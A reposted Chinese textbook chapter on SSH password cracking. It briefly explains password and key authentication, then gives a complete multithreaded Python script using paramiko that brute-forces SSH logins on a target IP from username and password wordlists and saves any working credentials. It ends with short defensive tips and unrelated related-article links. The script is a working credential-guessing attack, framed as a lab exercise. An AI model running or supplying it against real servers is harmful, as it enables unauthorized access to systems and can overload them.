SSH口令问题

news2024/9/24 11:22:52

 

 

SSH(Secure Shell)是目前较可靠、专为远程登录会话和其他网络服务提供 安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。 SSH口令长度太短或者复杂度不够,如仅包含数字或仅包含字母等时,容易被攻 击者破解。 口令一旦被攻击者获取,将可用来直接登录系统,控制服务器的所有 权限!

 

 

 

 

 

 

7.3.1    编写脚本

SSH主要应用于类UNIX系统中。Telnet是Windows下的远程终端协议,但是 由于Telnet在传输的过程中没有使用任何加密方式,数据通过明文方式传输,所 以被认为是不安全的协议。而SSH协议可以有效地防止远程管理过程中的信息泄 露问题,所以SSH成了目前远程管理的首选协议。

从客户端来看,SSH提供两种级别的安全验证:

·基于密码的安全验证:只要知道账户和密码,就可以登录到远程主机,并且 所有传输的数据都会被加密。但是,如果有别的服务器在冒充真正的服务器,那 么将无法避免“ 中间人”攻击,同时你的账户密码也可能会受到暴力破解。

·基于密钥的安全验证:该级别需要依靠密钥。首先必须创建一对密钥,并把 公钥重命名为authorized_keys ,放在需要访问的服务器上。客户端向服务器发出  连接请求,请求信息包含IP地址和用户名。服务器接收到请求后,会到

authorized_keys中查找,如果找到有对应响应的IP和用户名,则会随机生成一个字 符串,并用你的公钥进行加密,然后发送回来。客户端接收到加密信息后,用私  钥进行解密,并把解密后的字符串发送回服务器进行验证,服务器把解密后的字  符串与之前生成的字符串进行对比,如果一致就允许登录。这样可以避免“ 中间

人”攻击,而且由于验证的过程不存在口令传输,所以也能避免暴力破解。

接下来介绍如何编写脚本来破解SSH口令。这次增加对脚本的传参功能,使 得脚本能根据用户的参数来调整破解方式。具体步骤如下。

1)写入脚本信息,导入相关模块:

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

 

import import import import import

 

optparse

sys

os

threading

paramiko

 

2)编写一个分块函数,我们根据用户的线程数进行分割,一个线程负责一 个账户密码子列表:

# 列表分块函数

def partition(list, num) :

# step为每个子列表的长度

step = in t(len(list) / num)

# 若线程数大于列表长度,则不对列表进行分割,防止报错

if step == 0:

step = num

 

 

 

 

 

part List = [list[i :i+step] for i in range(0,len(list),step)]

return part List

 

3)编写破解函数,该函数主要负责分割数据、创建子线程、分配任务等前 期工作:

def SshExploit(ip,usernameFile,password File,threadNumber,sshPort) :

print("============破解信息============")

print("IP:" + ip)

print("UserName:" + usernameFile)

print("PassWord :" + password File)

print("Threads:" + str(threadNumber))

print("Port :" + sshPort)

print("=================================")

# 读取账户文件和密码文件并存入对应列表

listUsername = [line .strip() for line in open(usernameFile)]

listPassword = [line .strip() for line in open(password File)]

# 将账户列表和密码列表根据线程数量进行分块

blockUsername = partition(listUsername, threadNumber)

blockPassword = partition(listPassword, threadNumber)

threads = []

# 为每个线程分配一个账户密码子块

for sonUserBlock in blockUsername:

for sonPwdBlock in blockPassword :

work = ThreadWork(ip,sonUserBlock, sonPwdBlock,sshPort)

# 创建线程

workThread = threading .Thread(target=work.start)

# 在threads中加入线程

threads .append(workThread)

# 开始子线程

for t in threads:

t.start()

# 阻塞主线程,等待所有子线程完成工作

for t in threads:

t.join()

4)编写子线程类。子线程根据给定的SSH信息进行连接,若账户密码正确, 则写入result文件并退出程序。由于破解可能导致服务器无法响应一些线程的请  求,因此通过捕获异常让线程对当前的账户密码继续进行验证,防止报错导致当 前请求丢失:

class ThreadWork(threading .Thread) :

def __init__(self,ip,usernameBlocak,passwordBlocak,port) :

threading .Thread.__init__(self)

self.ip = ip;

self.port = port

self.usernameBlocak = usernameBlocak

self.passwordBlocak = passwordBlocak

def run(self,username,password) :

'''

用死循环防止因为Error reading SSH protocol banner错误

而出现线程没有验证账户和密码是否正确就被抛弃掉的情况

'''

while True:

try:

# 设置日志文件

paramiko .util.log_to_file("SSHattack.log")

ssh = paramiko .SSHClient()

# 接受不在本地Known_host文件下的主机

 

 

 

 

 

ssh.set_missing_host_key_policy(paramiko .AutoAddPolicy()) # 用sys .stdout.write输出信息,解决用print输出时错位的问题

sys .stdout.write("[*]ssh[{} :{} :{}] => {}\n" .format

(username, password, self.port, self.ip))

ssh.connect(hostname=self.ip, port=self.port, username=

username, password=password, timeout=10)

ssh.close()

print("[+]success !!! username: {}, password : {}" .format

(username, password))

# 把结果写入result文件

resultFile = open( 'result ', 'a ')

resultFile .write("success !!! username: {}, password : {}" . format(username, password))

resultFile .close()

# 程序终止,0表示正常退出

os ._exit(0)

except paramiko .ssh_exception .AuthenticationException as e:

# 捕获Authentication failed错误

# 说明账户密码错误,用break跳出循环

break

except paramiko .ssh_exception .SSHException as e:

# 捕获Error reading SSH protocol banner错误

# 请求过多导致的问题用pass忽略掉,让线程继续请求,直到该次请求的账户 密码被验证

pass

def start(self) :

# 从账户子块和密码子块中提取数据,分配给线程进行破解

for userItem in self.usernameBlocak :

for pwd Item in self.passwordBlocak :

self.run(userItem,pwd Item)

5)编写main 函数。其中通过parser.add_option() 函数来增加参数的定义, 脚本根据对应参数的值来进行破解:

if __name__ == '__main__ ' :

print("\n#####################################")

print("#         => MS08067 <=             #")

print("#                                   #")

print("#          SSH  experiment         #")

print("#####################################\n")

parser = optparse .OptionParser( 'usage: python %prog target [options] \n\n '  'Example: python %prog 127 .0 .0 .1 -u ./username -p ./passwords -t 20\n ')

# 添加目标主机参数-i

parser .add_option( '-i ', '--ip ', dest= 'IP ',

default='127.0.0.1 ', type= 'string ',

help= 'target IP ')

# 添加线程参数-t

parser .add_option( '-t ', '--threads ', dest= 'threadNum ',

default=10, type= 'in t ',

help= 'Number of threads [default = 10] ')

# 添加用户名文件参数-u

parser .add_option( '-u ', '--username ', dest= 'userName ',

default= ' ./username ', type= 'string ',

help= 'username file ')

# 添加密码文件参数-p

parser .add_option( '-p ', '--password ', dest= 'passWord ',

default= ' ./password ', type= 'string ',

help= 'password file ')

# 添加SSH端口参数-P

parser .add_option( '-P ', '--port ', dest= 'port ',

default= '22 ', type= 'string ',

help= 'ssh port ')

(options, args) = parser .parse_args()

 

至此,SSH口令破解脚本就完成了。我们尝试对本地的靶机进行破解。需要 注意的是,在破解的过程中,线程数过大容易对目标造成DoS攻击,请把线程数 选择在合适的范围内。运行脚本如图7-9所示。

38e308fd8bf4410ea22d87aa8ee70ff3.png

 

 

图7-9

脚本的运行结果如图7-10所示。

 

破解过程

 

 

 

 

 

eb9ba70dcb4b478a9cd3e9502e29d0a0.png

图7-10    破解成功

 

 

 

 

 

 

7.3.2    防御策略

 

SSH常用于服务器的管理,若密码被破解成功,那么服务器就能被他人所控 制。对于SSH破解的防御,也可以借鉴弱口令问题相关的防御手段,这里再补充 几点:

·修改SSH的默认端口。

·使用非root账户登录。

·使用SSH证书登录代替密码登录。

·使用IP白名单。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1440257.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

正版软件 - Proxyman:让网络调试变得更智能、更高效

在软件开发的世界里&#xff0c;网络调试一直是开发者和测试工程师的痛点。传统的调试工具往往操作复杂&#xff0c;界面不够直观&#xff0c;而且性能上也难以满足现代应用的需求。今天&#xff0c;我要向大家介绍一款名为Proxyman的网络调试工具&#xff0c;它以其简洁的界面…

项目02《游戏-12-开发》Unity3D

基于 项目02《游戏-11-开发》Unity3D &#xff0c; 人物&#xff1a;实现场景怪物自动巡航 &#xff0c; 首先在场景中创建小球命名为路径点WayPoint0&#xff0c; 取消小球的碰撞器Collider&#xff0c; 再复制两个改名为WayPoint1 和 WayPoint2 &#xff0c; 在…

懒人精灵 之 Lua 捕获 json解析异常 ,造成的脚本停止.

Time: 2024年2月8日20:21:17 by:MemoryErHero 1 异常代码 Expected value but found T_END at character 12 异常代码 Expected value but found T_OBJ_END at character 223 处理方案 - 正确 json 示范 while true do--Expected value but found T_END at character 1--Ex…

【数据分享】1929-2023年全球站点的逐日平均风速数据(Shp\Excel\免费获取)

气象数据是在各项研究中都经常使用的数据&#xff0c;气象指标包括气温、风速、降水、能见度等指标&#xff0c;说到气象数据&#xff0c;最详细的气象数据是具体到气象监测站点的数据&#xff01; 有关气象指标的监测站点数据&#xff0c;之前我们分享过1929-2023年全球气象站…

Java毕业设计-基于ssm的仓库管理系统-第76期

获取源码资料&#xff0c;请移步从戎源码网&#xff1a;从戎源码网_专业的计算机毕业设计网站 项目介绍 基于ssm的游泳馆管理系统&#xff1a;前端jsp、jquery、bootstrap&#xff0c;后端 springmvc、spring、mybatis&#xff0c;集成游泳课程报名、游泳卡在线售卖、购物车、…

c++设计模式之装饰器模式

作用 为现有类增加功能 案例说明 class Car { public:virtual void show()0; };class Bmw:public Car { public:void show(){cout<<"宝马汽车>>"<<endl;} };class Audi:public Car { public:void show(){cout<<"奥迪汽车>>&q…

【数据分享】1929-2023年全球站点的逐日平均能见度(Shp\Excel\免费获取)

气象数据是在各项研究中都经常使用的数据&#xff0c;气象指标包括气温、风速、降水、湿度等指标&#xff0c;说到常用的降水数据&#xff0c;最详细的降水数据是具体到气象监测站点的降水数据&#xff01; 有关气象指标的监测站点数据&#xff0c;之前我们分享过1929-2023年全…

05 06 Verilog基础语法与应用讲解

05. 1. 位操作 计数器实验升级&#xff0c;设计8个LED灯以每个0.5s的速率循环闪烁&#xff08;跑马灯&#xff09; 1.1 方法1&#xff1a;使用移位操作符<<来控制led灯的循环亮灭 设计代码 Verilog中&#xff0c;判断操作的时候不加位宽限定是可以的&#xff0c;比如i…

【Flink入门修炼】1-3 Flink WordCount 入门实现

本篇文章将带大家运行 Flink 最简单的程序 WordCount。先实践后理论&#xff0c;对其基本输入输出、编程代码有初步了解&#xff0c;后续篇章再对 Flink 的各种概念和架构进行介绍。 下面将从创建项目开始&#xff0c;介绍如何创建出一个 Flink 项目&#xff1b;然后从 DataStr…

pwn学习笔记(1)前置基础

pwn学习笔记&#xff08;1&#xff09; &#xff08;1&#xff09;pwn简介&#xff1a; ​ 以下来自于百度百科&#xff1a;”Pwn”是一个黑客语法的俚语词&#xff0c;是指攻破设备或者系统发音类似“砰”&#xff0c;对黑客而言&#xff0c;这就是成功实施黑客攻击的声音—…

【开源】SpringBoot框架开发医院门诊预约挂号系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 功能性需求2.1.1 数据中心模块2.1.2 科室医生档案模块2.1.3 预约挂号模块2.1.4 医院时政模块 2.2 可行性分析2.2.1 可靠性2.2.2 易用性2.2.3 维护性 三、数据库设计3.1 用户表3.2 科室档案表3.3 医生档案表3.4 医生放号…

【前端素材】bootstrap4实现绿色植物Lukani平台

一、需求分析 绿色植物商城是一个专门销售绿色植物的零售商店或在线平台。它提供各种类型和品种的室内植物、室外植物和盆栽等。绿色植物商城的作用可以从以下几个方面来分析&#xff1a; 1. 提供多样化的选择&#xff1a;绿色植物商城通常会提供各种各样的绿色植物选项&…

.NET Core 实现 JWT 认证

写在前面 JWT&#xff08;JSON Web Token&#xff09;是一种开放标准, 由三部分组成&#xff0c;分别是Header、Payload和Signature&#xff0c;它以 JSON 对象的方式在各方之间安全地传输信息。通俗的说&#xff0c;就是通过数字签名算法生产一个字符串&#xff0c;然后在网络…

『运维备忘录』之 Kubernetes(K8S) 常用命令速查

一、简介 kubernetes&#xff0c;简称K8s&#xff0c;是用8代替名字中间的8个字符“ubernete”而成的缩写&#xff0c;是一个开源的&#xff0c;用于管理云平台中多个主机上的容器化的应用。kubernetes是基于容器技术的分布式架构解决方案&#xff0c;具有完备的集群管理能力&a…

UDP端口探活的那些细节

一 背景 商业客户反馈用categraf的net_response插件配置了udp探测, 遇到报错了&#xff0c;如图 udp是无连接的&#xff0c;无法用建立连接的形式判断端口。 插件最初的设计是需要配置udp的发送字符&#xff0c;并且配置期望返回的字符串&#xff0c; [[instances]] targets…

【PyTorch][chapter 14][李宏毅深度学习][Word Embedding]

前言&#xff1a; 这是用于自然语言处理中数据降维的一种方案。 我们希望用一个向量来表示每一个单词. 有不同的方案 目录&#xff1a; one-hot Encoding word-class 词的上下文表示 count-based perdition-based CBOW Skip-Gram word Embedding 词向量相似…

数据结构(C语言)代码实现(八)——顺序栈实现数值转换行编辑程序汉诺塔

目录 参考资料 顺序栈的实现 头文件SqStack.h&#xff08;顺序栈函数声明&#xff09; 源文件SqStack.cpp&#xff08;顺序栈函数实现&#xff09; 顺序栈的三个应用 数值转换 行编辑程序 顺序栈的实现测试 栈与递归的实现&#xff08;以汉诺塔为例&#xff09; 参考资…

Vision Pro新机测评!“这才是MR硬件该有的模样!”

期盼很久的Vision Pro终于到了&#xff0c;小编迫不及待地体验了一把&#xff0c;效果相当非常震撼&#xff0c;操作非常丝滑&#xff0c;画面非常清晰…来不急解释了&#xff0c;快和小编一起来看一下吧~ 新机一到公司&#xff0c;为解大家对Vision Pro 的“相思之苦”&#x…

(43)找出中枢整数

文章目录 每日一言题目解题思路法一&#xff1a;法二&#xff1a; 代码法一&#xff1a;法二&#xff1a; 结语 每日一言 即使慢&#xff0c;驰而不息&#xff0c;纵令落后&#xff0c;纵令失败&#xff0c;但一定可以达到他所向往的目标。——鲁迅 题目 题目链接&#xff1a…

SQL注入(SQL Injection)从注入到拖库 —— 简单的手工注入实战指南精讲

基本SQL注入步骤&#xff1a; 识别目标&#xff1a;确定目标网站或应用程序存在潜在的SQL注入漏洞。收集信息&#xff1a;通过查看页面源代码、URL参数和可能的错误信息等&#xff0c;搜集与注入有关的信息。判断注入点&#xff1a;确定可以注入的位置&#xff0c;比如输入框、…